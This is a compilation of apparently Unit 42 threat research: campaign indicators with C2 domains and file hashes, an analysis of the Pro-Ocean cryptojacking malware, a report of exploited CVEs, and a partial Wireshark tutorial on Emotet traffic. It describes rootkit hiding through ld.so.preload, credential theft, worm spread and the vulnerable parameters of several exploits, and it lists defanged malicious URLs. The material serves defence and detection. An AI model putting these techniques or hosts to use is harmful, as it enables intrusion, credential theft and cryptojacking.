Domains/IPs:

Domain/IP Description
The.borg[.]wtf

(45.9.150[.]36)

This machine hosts malicious files used in the campaign and receives the collected data to this C2.

Hosted files: TDGG, api.key, tmate, tt.sh, sGAU.sh, t.sh, x86_64.so, xmr.sh, xmrig, xmrig.so, ziggy, xmr3.assi

147.75.47[.]199 The malware connects to this IP to obtain the victim host's public IP.
teamtnt[.]red
(45.9.148[.]108)
This host hosts malicious scripts and binaries.
Hosted files: pei.sh, pei64.
Borg[.]wtf
(45.9.148[.]108)
This host hosts malicious scripts and binaries.
Hosted files: aws2.sh
irc.borg[.]wtf
(123.245.9[.]147)
This host is one of the C2s. It runs an IRC server on port 6667.
sampwn.anondns[.]net

(13.245.9[.]147)

This host is one of the C2s. It runs an IRC server on port 6667.
164.68.106[.]96 This host is one of the C2s. It runs an IRC server on port 6667.
62.234.121[.]105 This host is one of the C2s. It runs an IRC server on port 6667.

Files:

SHA256 File Name Type Description
2c1528253656ac09c7473911b24b243f083e60b98a19ba1bbb050979a1f38a0f TDGG script This script downloads and executes tt.sh.
2cde98579162ab165623241719b2ab33ac40f0b5d0a8ba7e7067c7aebc530172 tt.sh script This script downloads and runs tmate. It collects system information from the victim's host and sends the collected data to C2(45.9.150[.]36)
b34df4b273b3bedaab531be46a0780d97b87588e93c1818158a47f7add8c7204 api.key text The API key is used for creating a named tmate session from the compromised containers.
d2fff992e40ce18ff81b9a92fa1cb93a56fb5a82c1cc428204552d8dfa1bc04f tmate ELF tmate v2.4.0
74e3ccaea4df277e1a9c458a671db74aa47630928a7825f75994756512b09d64 sGAU.sh script This script downloads and installs masscan. It scans Kubernetes' internal IP Kubelets running on port 10250. If masscan finds an exploitable Kubelet, it attempts to download and execute a cryptojacking script in all the containers.
8e33496ea00218c07145396c6bcf3e25f4e38a1061f807d2d3653497a291348c kshell script The script performs remote code execution in containers via Kubelet’s API. It also downloads and executes xmr.sh in a target container.
518a19aa2c3c9f895efa0d130e6355af5b5d7edf28e2a2d9b944aa358c23d887 install_monerod.bash script The script is hosted in this Github repo. It pulls and builds the official monero project. It then creates a user named “monerodaemon” and starts the monero service.
5923f20010cb7c1d59aab36ba41c84cd20c25c6e64aace65dc8243ea827b537b setup_moneroocean_miner.sh script The script is hosted in this Github repo. It pulls and runs the MoneroOcean advanced version of xmrig.
a22c2a6c2fdc5f5b962d2534aaae10d4de0379c9872f07aa10c77210ca652fa9 xmrig (oneroocean) ELF xmrig 6.7.2-mo3. This binary is hosted in MoneroOcean/xmrig Github repo.
ee6dbbf85a3bb301a2e448c7fddaa4c1c6f234a8c75597ee766c66f52540d015 pei.sh script This script downloads and executes pei64 or pei32, depending on the host’s architecture.
937842811b9e2eb87c4c19354a1a790315f2669eea58b63264f751de4da5438d pei64 ELF This is a Kubernetes penetration tool from the peirates project. The tool is capable of escalating privilege and pivoting through the Kubernetes cluster.
72cff62d801c5bcb185aa299eb26f417aad843e617cf9c39c69f9dde6eb82742 pei32 ELF Same as pei64, but for i686 architecture.
12c5c5d556394aa107a433144c185a686aba3bb44389b7241d84bea766e2aea3 xmr3.assi script The script downloads and runs aws2.sh, t.sh and xmrig.
053318adb15cf23075f737daa153b81ab8bd0f2958fa81cd85336ecdf3d7de4e aws2.sh script The script searches for cloud credentials and sends the identified credentials to C2 (the.borg[.]wtf).
e6422d97d381f255cd9e9f91f06e5e4921f070b23e4e35edd539a589b1d6aea7 t.sh script The script downloads x86_64.so and tmate from C2. It modifies ld.so.preload and starts a tmate named session. It then sends back the victim’s system info and tmate session to C2.
77456c099facd775238086e8f9420308be432d461e55e49e1b24d96a8ea585e8 x86_64.so ELF This shared object replaces the existing /etc/ld.so.preload file. It uses the LD_PRELOAD trick to hide the tmate process.
78f92857e18107872526feb1ae834edb9b7189df4a2129a4125a3dd8917f9983 xmrig ELF xmrig v6.7.0
3de32f315fd01b7b741cfbb7dfee22c30bf7b9a5a01d7ab6690fcb42759a3e9f xmrig.so ELF This shared object replaces the existing /etc/ld.so.preload.

It uses the LD_PRELOAD trick to hide the xmrig process.

fe0f5fef4d78db808b9dc4e63eeda9f8626f8ea21b9d03cbd884e37cde9018ee xmr.sh script The script downloads and executes xmrig and ziggy.
74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607 ziggy ELF ziggy is a binary that packs an encrypted ELF. The binary decrypts the ELF at runtime and runs it in the memory. The encrypted ELF is built from ZiggyStarTux, an IRC client for embedded devices.

 

Pro-Ocean: Rocke Group’s New Cryptojacking Malware

Executive Summary

In 2019, Unit 42 researchers documented cloud-targeted malware used by the Rocke Group to conduct cryptojacking attacks to mine for Monero. Since then, cybersecurity companies have had the malware on their radar, which hampered Rocke Group’s cryptojacking operation. In response, the threat actors updated the malware.

Here, we uncover a revised version of the same cloud-targeted cryptojacking malware, which now includes new and improved rootkit and worm capabilities. We also detail the hiding techniques used by the malware to dodge cybersecurity companies’ detection methods, while explaining its four-module structure. We’ve named the malware Pro-Ocean after the name the attacker chose for the installation script.

Pro-Ocean uses known vulnerabilities to target cloud applications . In our analysis, we found Pro-Ocean targeting Apache ActiveMQ (CVE-2016-3088), Oracle WebLogic (CVE-2017-10271) and Redis (unsecure instances). In the case that the malware runs in Tencent Cloud or Alibaba Cloud, it will use the exact code of the previous malware to uninstall monitoring agents to avoid detection. Additionally, it attempts to remove other malware and miners including Luoxk, BillGates, XMRig and Hashfish before installation. Once installed, the malware kills any process that uses the CPU heavily, so that it’s able to use 100% of the CPU and mine Monero efficiently.

Palo Alto Networks Prisma Cloud customers are protected from Pro-Ocean through the Runtime Protection and Cryptominers Detection features.

The Malware

Although Pro-Ocean attempts to disguise itself as benign, it packs an XMRig miner, which is notorious for its use in cryptojacking operations. The miner seeks to hide using several obfuscation layers on top of the malicious code:

  1. The binary is packed using UPX. This means that the actual malware is compressed inside the binary and is extracted and executed during the binary execution.
  2. Advanced static analysis tools can unpack UPX binaries and scan their content. However, in this case, the UPX magic string has been deleted from the binary, and therefore, static analysis tools cannot identify this binary as UPX and unpack it.
  3. The modules are gzipped inside the unpacked binary.
  4. The XMRig binary is inside one of the gzipped modules and is also packed by UPX and does not have the UPX magic string.
Figure 1. Obfuscation layers.

Pro-Ocean targets several typical cloud applications including Apache ActiveMQ, Oracle Weblogic and Redis, with an emphasis on cloud providers based in China including Alibaba Cloud and Tencent Cloud. It is written in Go and compiled to an x64 architecture binary. It contains four modules that deploy during execution -- hiding, mining, infecting and watchdog. Each module contains some files written in various languages (C, Python or Bash) and a Bash script that executes it.

The Modules

The four modules of Pro-Ocean are gzipped inside the binary and are extracted and executed one after the other by four different functions.

Figure 2. The four main functions.
Figure 3. Malware architecture.

Hiding Module (Rootkit Capabilities)

The hiding module is responsible for concealing Pro-Ocean’s malicious activity. It uses a native Linux feature, LD_PRELOAD. LD_PRELOAD forces binaries to load specific libraries before others, allowing the preloaded libraries to override any function from any library. One of the ways to use LD_PRELOAD is to add the crafted library to /etc/ld.so.preload.

This way, once executed, binaries will load this library and use its functions instead of the functions in the default libraries. This feature is commonly abused by other malware.

During execution, the hiding module compiles a C file into a library and adds it to /etc/ld.so.preload. This library contains many functions that are usually exposed by libc, including open, opendir, readdir, stat, access and much more. These functions use the real libc functions while altering the returned data in order to hide any information that exposes Pro-Ocean (e.g. malicious files or processes). In some cases, they even return forged data when accessing a specific file such as /proc/stat.

As in the previous version of the malware, the code uses Libprocesshider, a library for hiding processes. However, in addition, it looks like the developer of this code gathered several code snippets from the internet and added them in order to gain more rootkit capabilities.

For example, let's take a look at the libc function open. This function opens a file and returns its file descriptor, but something else happens once the malicious library is loaded.

Figure 4. Modified open function.

Before calling open, the malicious function will determine whether the file in question needs to be hidden to obfuscate malicious activities. If it determines that the file needs to be hidden, the malicious function will return a “No such file or directory” error, as if the file in question does not exist.

Besides that, in this module, Pro-Ocean will try to gain persistence by copying itself into numerous locations, create a new malicious service that will execute the malware in case it is not running and add several cron jobs that will do the same thing periodically.

Mining Module

The mining module is the reason Pro-Ocean exists in the first place. Its goal is to mine Monero into the attacker’s wallet, and it does so by deploying an XMRig miner 5.11.1 and a JSON configuration, then starting to mine. This is a common operation for cryptojacking malware.

Infection Module (Worm Capabilities)

Behaving differently than they chose to in the previous version of the malware, the Rocke Group does not exploit victims manually with Pro-Ocean. Instead, this version of the malware uses a Python infection script that gives it "worm" capabilities. This script retrieves the machine’s public IP by accessing an online service that does so in the address "ident.me" and then tries to infect all the machines in the same 16-bit subnet (e.g. 10.0.X.X). It does this by blindly executing public exploits one after the other in the hope of finding unpatched software it can exploit.

Figure 5. Infection scanning loop.

Once it finds unpatched software and exploits it, the Python script sends a payload that will download an installation script from a malicious HTTP server, which will do some preparations and install Pro-Ocean.

The list of vulnerable software that Pro-Ocean exploits includes:

  1. Apache ActiveMQ – CVE-2016-3088.
  2. Oracle WebLogic – CVE-2017-10271.
  3. Redis – unsecure instances.

This list is not finite (meaning Pro-Ocean targets all cloud applications) since the malware is downloaded to the victim from a remote server during the infection. Thus it can be changed, and additional exploits or other upgrades could be added.

Figure 6. Infection process.

Installation Script

The installation script has a crucial role, and it lays the groundwork for Pro-Ocean before installing it by doing several things. It is written in Bash and is obfuscated. By observing it, we can conclude that two of the malware’s targets are Alibaba Cloud and Tencent Cloud.

It works in this order:

  1. Attempt to remove other malware and miners including Luoxk, BillGates, XMRig, Hashfish and more. It does this by running the “grep” command searching for other processes and network connections and then terminates them if found.
  2. Erase all of the cron tasks to make sure that other malware will not be able to recover.
  3. Disable the iptables firewall so that the malware will have full access to the internet.
  4. In the case that the malware runs in Tencent Cloud or Alibaba Cloud, it will use the exact code of the previous malware to uninstall monitoring agents to avoid detection.
  5. Look for SSH keys and attempt to use them in order to infect new machines.
Figure 7. Uninstall the cloud monitoring agents.

After laying the groundwork, the installation script will determine the machine CPU architecture and try to download the corresponding binary using various tools including curl, wget, python2, python3 and PHP.

Figure 8. Obfuscated code that downloads the malware.

Watchdog Module

Pro-Ocean contains a watchdog module written in Bash. It executes two Bash scripts with different purposes.

  1. program__kill30 – This script loops forever and searches for processes that utilize more than 30% of the CPU (not including the malware processes). Once found, it kills them. The malware’s goal is to use 100% of the CPU and mine Monero efficiently, so it kills any process that uses the CPU heavily.
  2. Program__daemonload – This process loops forever and checks that the malware is running. If not, it runs it.

Conclusion

Cryptojacking malware targeting the cloud is evolving as attackers understand the potential of that environment to mine for crypto coins. We previously saw simpler attacks by the Rocke Group, but it seems this group presents an ongoing, growing threat. This cloud-targeted malware is not something ordinary since it has worm and rootkit capabilities. We can assume that the growing trend of sophisticated attacks on the cloud will continue.

This malware is an example that demonstrates that cloud providers’ agent-based security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure. As we saw, this sample has the capability to delete some cloud providers’ agents and evade their detection (Figure 7).

Palo Alto Networks Prisma Cloud customers are protected from Pro-Ocean through the Runtime Protection and Cryptominers Detection features.

Figure 9. Prisma Cloud incident alert.

IOCs

URLs

hxxp://shop.168bee[.]com/*

hxxps://shop.168bee[.]com/*

Mining Pool

hxxp://pool.minexmr[.]com

Files

SHA-256 Hash Filename
4ff33180d326765d92e32ec5580f54495bfcdd58a85f908a7ece8d0aedbe5597 pro__autolk.sh
220c2ebacafde95ebf4af12bf0d8eedb6004edd103ecb1d6363e7eb5a3e62c01 pro__automig.sh
a81424ec81849950616f932c79db593147b8a01cc6d06d279fd05d61103abdb7 pro__autorkt.sh
070afdbb4c2c9e499d55cb8fbc08f98e95725b98682586d42f84fd7181eae1cb pro__autoscan.sh
0a3898da2c6e31f1eed4497c4e4e3cf24138981f35cb3d190b81ba4b24ab3df0 pro__cfg
26a126fd5cd47b62bb5ae3116a509caf84da1ccd414e632f898aec0948cb0dbf pro__wlib.c
37e1c05cc683bac5fe97763023a228a4ca4e0439acc94695724f67b7e0275ece proc__bioset.sh
d3e95ae2f01be948dd11157873b3c84cb3e76dea1b382bcfb2c0cb09a949497c proc__o0mig
713b5447a51a4b930222491a2dfb5b948a5da6860d80cd8663c99432c1e0812f proc__scanr.py
0f7abdceae4353c4a6a8ed6b5d261df0f94c2c52709dd50d38003192492e7d3b pro__o0cean
bfea86bb68b51c6875d541c92bb48b38298982efbe12cf918873642235b99eeb pro__o0cean
575945f6f5149dc48c4a665fcab0cbdbedec1e18b887abe837ed987a7253ad02 proc__sysagent.service
abb36bc19b82a026f7d70919c64ed987ebb71420b04bb848275547e99da485bd .program__daemonload
7888925fe143add65f2ad928a7ee4e4b864d421fde57fac0cb2b218e70fe4d31 .program__kill30

Table 1. Malicious files hashes

 

Network Attack Trends: Internet of Threats (August-October 2020)

Executive Summary

Unit 42 researchers observed interesting attack trends from August-October 2020. Despite a surge in scanner activities and HTTP directory traversal exploitation attempts, CVE-2012-2311 and CVE-2012-1823, which were the most commonly exploited vulnerabilities in the wild in early summer 2020, are no longer at the top of that list. Several new critical exploits, including but not limited to CVE-2020-17496 and CVE-2020-25213, have emerged and were being utilized at a constant and concerning rate as of fall 2020. To complicate matters, malicious actors are well aware that new exploits aren’t always needed to get the job done. Based on observations of malicious traffic for the designated three months, weaponized ThinkPHP vulnerabilities like CVE-2018-20062 and CVE-2019-9082 had become attackers’ new favorite method of exploit.

In the following sections, we dive deep into exploit analysis, attack origin and attack category distribution, in addition to the spiking activities of scanners and HTTP directory traversal attacks.

While cybercriminals will never cease their malicious activities, Palo Alto Networks customers are protected from the attacks discussed here by the Next-Generation Firewall.

Data Collection

By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers have been able to isolate malicious activities from benign traffic from August-October 2020. The malicious traffic is then further processed based on metrics such as IP addresses, ports and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. The researchers then correlate the refined data with other attributes to infer attack trends over time and get a picture of the threat landscape.

How Severe Were the Attacks?

Out of 3,092,127 verified attack sessions observed, there were 656 unique threat triggers.

Network attack trends: Severity Distribution: Medium 6.9%, High 42.6%, Critical 50.4%
Figure 1. Attack severity distribution in August-October 2020.

We only consider exploitable vulnerabilities with a severity rating above medium (based on the CVSS v3 Score) as a verified attack. Table 1 shows the session count and ratio of attacks with different vulnerability severities.

Severity Session Count Ratio
Critical 1,559,512 50.4%
High 1,317,901 42.6%
Medium 214,714 6.9%

Table 1. Attack severity distribution ratio in August-October 2020

Exploiting vulnerabilities with high and critical severity levels is trending upward, as shown in Table 1. Not only are these exploits destructive in nature, they are also crucial to weaponizing vulnerabilities against popular products that are already part of the ecosystem. In the next section, we highlight the top five attacks that we believe are noteworthy in terms of exploitability and impact.

Latest Attack Analysis

Out of all severe attacks that we monitored, the following five exploits are the most intriguing to us. These exploits received a lot of media coverage because they had already been exploited in the wild before a patch was made available or were abused soon after the announcement of the security advisory. In addition to this attention, the reasons these exploits are in the top five attacks category are their critical severity level and their overall prevalence in 2020. These are indications that attackers are quick and efficient in adapting new tools and tactics to compromise their targets of interest. We rate the exploits below as the top five recent vulnerabilities that we captured in the wild, based on 80,528 incidents which are related to new attacks from August-October.

1. vBulletin Remote Code Execution Vulnerability

We captured malicious sessions related to vBulletin Remote Code Execution Vulnerability. The vendor is widely used and the severity is critical. We published research on CVE-2020-17496 in September 2020.

2. WordPress File Manager Plugin Remote Code Execution Vulnerability

WordPress has a remote code execution vulnerability in the wp-file-manager plugin, which can write arbitrary PHP code into a specific directory.

3. Nette Code Injection Vulnerability

Nette is a PHP/Composer MVC framework. It is vulnerable to code injection attacks with specific URL parameters. This vulnerability is critical, which will lead to remote code execution.

4. Artica Web Proxy SQL Injection Vulnerability

Artica Web Proxy is a firewall software that is vulnerable to a SQL injection of the api key parameter in fw.login.php. The vulnerability can be used to bypass Artica and gain administrator privileges through SQL injection vulnerability.

5. Oracle WebLogic Server Remote Code Execution Vulnerability

Oracle WebLogic Server has a remote code execution vulnerability, which could lead to critical security issues. This flaw has a low attack complexity and is highlighted as “easily exploitable.”

Overall Attack Analysis

The following exploits, shown in Table 2, were the most popular from August-October 2020 in terms of volume.

CVE Number Vulnerability
1 CVE-2017-9841 PHPUnit Remote Code Execution Vulnerability
2 CVE-2019-9082 ThinkPHP Remote Code Execution Vulnerability
3 CVE-2019-12725 Zeroshell Remote Command Execution Vulnerability
4 CVE-2019-16759 vBulletin Remote Code Execution Vulnerability
5 CVE-2018-19986, CVE-2019-19597 D-Link Remote Command Execution Vulnerability
6 CVE-2018-10561, CVE-2018-10562 GPON Home Routers Remote Code Execution Vulnerability
7 CVE-2020-17496 vBulletin Remote Code Execution Vulnerability
8 CVE-2018-20062 ThinkPHP Remote Code Execution Vulnerability
9 CVE-2018-7600 Drupal Core Remote Code Execution Vulnerability
10 CVE-2020-15415, CVE-2020-14472, CVE-2020-8515 DrayTek Vigor Remote Command Injection Vulnerability

Table 2. Top CVEs in August-October 2020

1. PHPUnit Remote Code Execution Vulnerability

  • CVE-2017-9841

Exposure of the /vendor endpoint allows remote attackers to gain arbitrary PHP code execution on the target. This vulnerability affects all 4.x versions before 4.8.28 and 5.x versions before 5.6.3.

2. ThinkPHP Remote Code Execution Vulnerability

  • CVE-2019-9082

There’s a remote code execution vulnerability in the ThinkPHP framework due to the lack of validation of the input. The ThinkPHP framework with versions < 3.2.4 suffers from a remote command execution vulnerability due to insufficient check of the controller name in the URL.

3. Zeroshell Remote Command Execution Vulnerability

  • CVE-2019-12725

There’s a remote code execution vulnerability in ZeroShell version 3.9.0. By wrapping the payload in new-line characters and placing the resulting payload in the x590type HTTP parameter, the attacker can achieve arbitrary code execution on the victim’s machine.

4. vBulletin Remote Code Execution Vulnerability

  • CVE-2019-16759

vBulletin version 5.0.0 through 5.5.4 is susceptible to remote command execution due to lack of validation of the HTTP parameter widgetConfig[code].

5. D-Link Remote Command Execution Vulnerability

  • CVE-2018-19986

Both D-Link DIR-818LW Rev.A 2.05.B03 and DIR-822 B1 202KRb06 devices are susceptible to a command injection vulnerability due to insufficient validation of the HTTP parameter RemotePort. An attacker can inject shell metacharacters and achieve arbitrary command execution.

  • CVE-2019-19597

There’s a remote command execution vulnerability in D-Link DAP-1860 devices due to insufficient input sanitization in the HNAP_Auth HTTP header value. An attack can inject shell metacharacters and achieve arbitrary code execution.

6. GPON Home Routers Remote Code Execution Vulnerability

  • CVE-2018-10561

The vulnerable versions of Dasan GPON routers are susceptible to authentication bypass because they don’t properly handle the URL. This vulnerability is often used in conjunction with CVE-2018-10562 to maximize the impact.

  • CVE-2018-10562

There is a command injection vulnerability in Dasan GPON routers. The vulnerable versions don’t sanitize the dest_host parameter, resulting in dire consequences. The router saves ping results in /tmp and lurks the user to revisit it.

7. vBulletin Remote Code Execution Vulnerability

  • CVE-2020-17496

There is a remote command execution vulnerability in vBulletin 5.5.4 through 5.6.2 via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request.

NOTE: This issue exists because of an incomplete fix for CVE-2019-16759.

8. ThinkPHP Remote Code Execution Vulnerability

  • CVE-2018-20062

A specifically crafted value in the filter HTTP parameter can result in arbitrary code execution in the ThinkPHP framework. This bug affects versions <= 5.0.23.

9. Drupal Core Remote Code Execution Vulnerability

  • CVE-2018-7600

Drupal allows remote attackers to execute arbitrary code due to an issue that affects multiple subsystems. It is caused by module misconfigurations.

10. DrayTek Vigor Remote Command Injection Vulnerability

  • CVE-2020-15415

On DrayTek Vigor3900, Vigor2960 and Vigor300B devices before 1.5.1, shell metacharacters via cgi-bin/mainfunction.cgi/cvmcfgupload allow remote command execution in a filename when the text/x-python-script content type is used.

  • CVE-2020-14472

There are some command injection vulnerabilities in the mainfunction.cgi file on Draytek Vigor3900, Vigor2960 and Vigor 300B devices before 1.5.1.1.

  • CVE-2020-8515

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, Vigor300B 1.3.3_Beta, 1.4.2.1_Beta and 1.4.4_Beta allow remote code execution as root via shell metacharacters to the cgi-bin/mainfunction.cgi URI without authentication.

In addition to vulnerabilities with specific CVE numbers assigned, we also capture other vulnerabilities that occur with high frequency. Below are the top five:

  • ThinkCMF local file inclusion vulnerability.

There’s a file inclusion vulnerability in ThinkCMF that can also result in remote code execution. This bug affects ThinkCMF with versions <= 2.2.3.

  • D-Link DSL-2750B OS command injection vulnerability.

D-Link DSL-2750B router is susceptible to a command injection vulnerability, which Mirai and its variants often abuse for infection and propagation.

  • MVPower DVR unauthenticated command execution vulnerability.

Mirai and its variants are found to exploit this command execution vulnerability in MVPower DVR devices for the purpose of infection.

  • Zyxel EMG2926 router command injection vulnerability.

A lack of parameter validation in Zyxel EMG2926 routers results in a remote command vulnerability. It’s also one of the vulnerabilities being exploited by Mirai malware.

  • Netgear DGN Device remote command execution.

It’s an unauthenticated remote command execution resulting from the lack of input sanitization in syscmd function of setup.cgi. This vulnerability exists in Netgear DGN devices DGN1000 (for those with firmware version < 1.1.00.48) and DGN2200 v1.

Attack Category Distribution

Attack category distribution August-October 2020: Command injection 2.8%, SQL injection 3.0%, Directory traversal 3.7%, File inclusion 5.1%, Other detection, 9.7%, Information disclosure 12.4%, Privilege escalation 14.6%, Code execution 46.9%
Figure 2. Attack category distribution from August-October 2020.

Figure 2 shows the attack category distribution. As we would like to know the details on exploitability and accessibility, we calculate the triggers by classifying the attack category. 46.9% of the attacks are code execution, which means this category still represents high-risk exposure to the network. 14.6% of the attacks can be considered privilege escalation and 12.4% are information disclosure attacks, which means the attackers are continuously attempting to gain greater access and establish an exploit chain leading to more powerful attacks such as code execution.

HTTP Directory Traversal Attacks

In contrast to what was observed in early summer 2020, we identified large-volume attack attempts (~500K) that exploit HTTP directory traversal vulnerabilities. Although this type of attack is one of the most commonly seen malicious behaviors in network traffic, such high volume is still rare to observe in the real world.

We first listed the top 10 destination ports attacked by the directory traversal. Most of the exploitation attempts are targeting the widely used HTTP port numbers 80 (86.6%) and 8080 (2.4%).

Network attack trends: HTTP directory traversal attack victim port distribution from August-October 2020: 5000 0.7%, 3582 1.0%, 3580 1.0%, 8080 2.4%, 80 86.6%
Figure 3. HTTP directory traversal attack victim port distribution from August-October 2020.

Where Did the Attacks Originate?

After identifying the region from which each network attack originated, we discovered that, by far, the largest number of them originated from the United States, followed by China and Russia. This may be in part due to the large population of the United States, China and Russia, as well as the high amounts of internet use in those regions.

 

Network attack trends: Locations ranked in terms of how frequently they were the origin of observed attacks from August-October 2020: United States, China, Russian Federation, Netherlands, India, United Kingdom, Hong Kong, Germany, Indonesia, France, Korea, Lithuania, Egypt, Canada, Mexico, Thailand, Vietnam, Brazil, Philippines, Taiwan ROC, Others
Figure 4. Locations ranked in terms of how frequently they were the origin of observed attacks from August-October 2020.
Attack geolocation distribution from August-October 2020. Pale colors indicate fewer attacks. The darkest blue on the world map represents the highest incidence of observed attack origin.
Figure 5. Attack geolocation distribution from August-October 2020.

Conclusion

Taken together, our data shows that attackers prioritize exploits that are both severe and easily deployed, likely in search of high-impact, low-effort attacks. While they keep ready-made weaponized exploits handy, attackers will make a concerted effort to update their arsenal whenever information about newly released vulnerabilities and the associated proofs-of-concept become available. This underscores the need for organizations to promptly patch their systems and implement security best practices.

Mitigations include:

  • Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
  • Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention contents (e.g versions 8366-6505 and above).

 

Wireshark Tutorial: Examining Emotet Infection Traffic

Executive Summary

This tutorial is designed for security professionals who investigate suspicious network activity and review packet captures (pcaps). Familiarity with Wireshark is necessary to understand this tutorial, which focuses on Wireshark version 3.x.

Emotet is an information-stealer first reported in 2014 as banking malware. It has since evolved with additional functions such as a dropper, distributing other malware families like Gootkit, IcedID, Qakbot and Trickbot.

Today’s Wireshark tutorial reviews recent Emotet activity and provides some helpful tips on identifying this malware based on traffic analysis.

Note: These instructions assume you have customized Wireshark as described in our previous Wireshark tutorial about customizing the column display.

You will need to access a GitHub repository with ZIP archives containing the pcaps used for this tutorial.

Warning: Some of the pcaps used for this tutorial contain Windows-based malware. There is a risk of infection if using a Windows computer. If possible, we recommend you review these pcaps in a non-Windows environment like BSD, Linux or macOS.

Chain of Events for an Emotet Infection

To understand network traffic caused by Emotet, you must first understand the chain of events leading to an infection. Emotet is commonly distributed through malicious spam (malspam) emails. The critical step in an Emotet infection chain is a Microsoft Word document with macros designed to infect a vulnerable Windows host.

This Word document shown was used to cause an Emotet infection in January 2021. Note the message in the screenshot: This document is protected. Previewing is not available for protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Figure 1. Screenshot of a Word document used to cause an Emotet infection in January 2021.

Malspam spreading Emotet uses different techniques to distribute these Word documents.

The malspam may contain an attached Microsoft Word document or have an attached ZIP archive containing the Word document. In recent months, we have seen several examples where these ZIP archives are password-protected. Some emails distributing Emotet do not have any attachments. Instead, they contain a link to download the Word document.

In previous years, malspam pushing Emotet has also used PDF attachments with embedded links to deliver these Emotet Word documents.

Figure 2 illustrates these four distribution techniques.

Distribution paths for Emotet Word document: 1) malspam with attachment to Word doc; 2) malspam with attachment to ZIP archive to Word doc; 3) malspam with link to web traffic to download Word doc to Word doc; 4) malspam with attachment to PDF file to web traffic to download Word doc to Word doc
Figure 2. Various distribution paths for an Emotet Word document.

After the Word document is delivered, if a victim opens the document and enables macros on a vulnerable Windows host, the host is infected with Emotet.

From a traffic perspective, we see the following steps from an Emotet Word document to an Emotet infection:

  • Web traffic to retrieve the initial binary.
  • Encoded/encrypted command and control (C2) traffic over HTTP.
  • Additional infection traffic if Emotet drops follow-up malware.
  • SMTP traffic if Emotet uses the infected host as a spambot.

Figure 3 shows a flowchart of network activity we might find during an Emotet infection.

Flowchart for an Emotet infection: Word doc to enable macros to web traffic for initial binary to initial binary. From there, encoded C2 traffic over HTTP, which is a hub in the flowchart that can lead to follow-up malware, spambot activity, data exfiltration and updating the binary.
Figure 3. Flowchart for an Emotet infection.

Since Dec. 21, 2020, the initial binary for Emotet has been a Windows DLL file. Previously, this binary had been a Windows EXE file.

Emotet C2 traffic consists of encoded or otherwise encrypted data sent over HTTP. This C2 activity can use either standard or non-standard TCP ports associated with HTTP traffic. This C2 activity also consists of data exfiltration and traffic to update the initial Emotet binary.

Since Emotet is also a malware dropper, the victim may become infected with other malware. Analysts should search for traffic from other malware when investigating traffic from an Emotet-infected host.

Finally, an Emotet-infected host may also become a spambot generating large amounts of traffic over TCP ports associated with SMTP like TCP ports 25, 465 and 587.

Pcaps of Emotet Infection Activity

Five password-protected ZIP archives containing pcaps of recent Emotet infection traffic are available at this GitHub repository. Once on the GitHub page, click on each of the ZIP archive entries and download them, as shown in Figures 4 and 5.

The screenshot shows how to download ZIP archives used for this Wireshark tutorial from the GitHub repository.
Figure 4. GitHub repository with links to ZIP archives used for this tutorial.
The screenshot shows where to click to download one of the ZIP archives used for this Wireshark Tutorial on analyzing Emotet infection traffic.
Figure 5. Downloading one of the ZIP archives for this tutorial.

Use infected as the password to extract pcaps from these ZIP archives. This should give you the following five pcap files:

  • Example-1-2021-01-06-Emotet-infection.pcap
  • Example-2-2021-01-05-Emotet-with-spambot-traffic-part-1.pcap
  • Example-3-2021-01-05-Emotet-with-spambot-traffic-part-2.pcap
  • Example-4-2021-01-05-Emotet-infection-with-Trickbot.pcap
  • Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap

Example 1: Emotet Infection Traffic

Open Example-1-2021-01-06-Emotet-infection.pcap in Wireshark and use a basic web filter as described in our previous tutorial about Wireshark filters. The basic filter for Wireshark 3.x is:

(http.request or tls.handshake.type eq 1) and !(ssdp)

If you’ve set up Wireshark according to our initial tutorial about customizing Wireshark displays, your display should look similar to Figure 6.

Figure 6. Our first pcap in this tutorial filtered in Wireshark.
Figure 6. Our first pcap in this tutorial filtered in Wireshark.

As shown in Figure 6, the first five HTTP GET requests represent four URLs used to retrieve the initial Emotet DLL. The traffic is:

  • hangarlastik[.]com GET /cgi-bin/Ui4n/
  • hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi
  • padreescapes[.]com GET /blog/0I/
  • sarture[.]com GET /wp-includes/JD8/
  • seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/

The first two URLs indicate hangarlastik[.]com no longer had the Emotet DLL file it had been hosting. Follow TCP streams for each of these requests to see replies to each of the HTTP GET requests.

An easier way to see the HTTP responses is to update your Wireshark basic web filter to include HTTP responses:

(http.request or http.response or tls.handshake.type eq 1) and !(ssdp)

This will show HTTP responses in the Info column, as illustrated in Figure 7.

Figure 7. Adding HTTP responses to the Wireshark display filter.
Figure 7. Adding HTTP responses to the Wireshark display filter.

Now we have a clearer picture of what happened when the Word macro tried to retrieve an Emotet DLL:

  • hangarlastik[.]com GET /cgi-bin/Ui4n/
  • HTTP/1.1 302 Found
  • hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi
  • HTTP/1.1 200 OK
  • padreescapes[.]com GET /blog/0I/
  • HTTP/1.1 401 Unauthorized
  • sarture[.]com GET /wp-includes/JD8/
  • HTTP/1.1 403 Forbidden
  • seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/

The only 200 OK was a reply for a suspended page notification from hangarlastik[.]com.

The HTTP GET request to seo.udaipurkart[.]com does not show a response, so follow the TCP stream for this request, as shown in Figure 8.

Figure 8. Following TCP stream for the HTTP request to seo.udaipurkart[.]com.
Figure 8. Following TCP stream for the HTTP request to seo.udaipurkart[.]com.

The TCP stream shows indicators that seo.udaipurkart[.]com returned a Windows DLL file, as shown in Figure 9.

Figure 9. Indicators of a DLL file returned from seo.udaipurkart[.]com.
Figure 9. Indicators of a DLL file returned from seo.udaipurkart[.]com.
Export this DLL from the pcap by using the menu path: File --> Export Objects --> HTTP, as shown in Figure 10. As always, we recommend you do not export this file in a Windows environment, since the DLL is Windows-based malware.

Figure 10. Exporting the Emotet DLL from our first pcap.
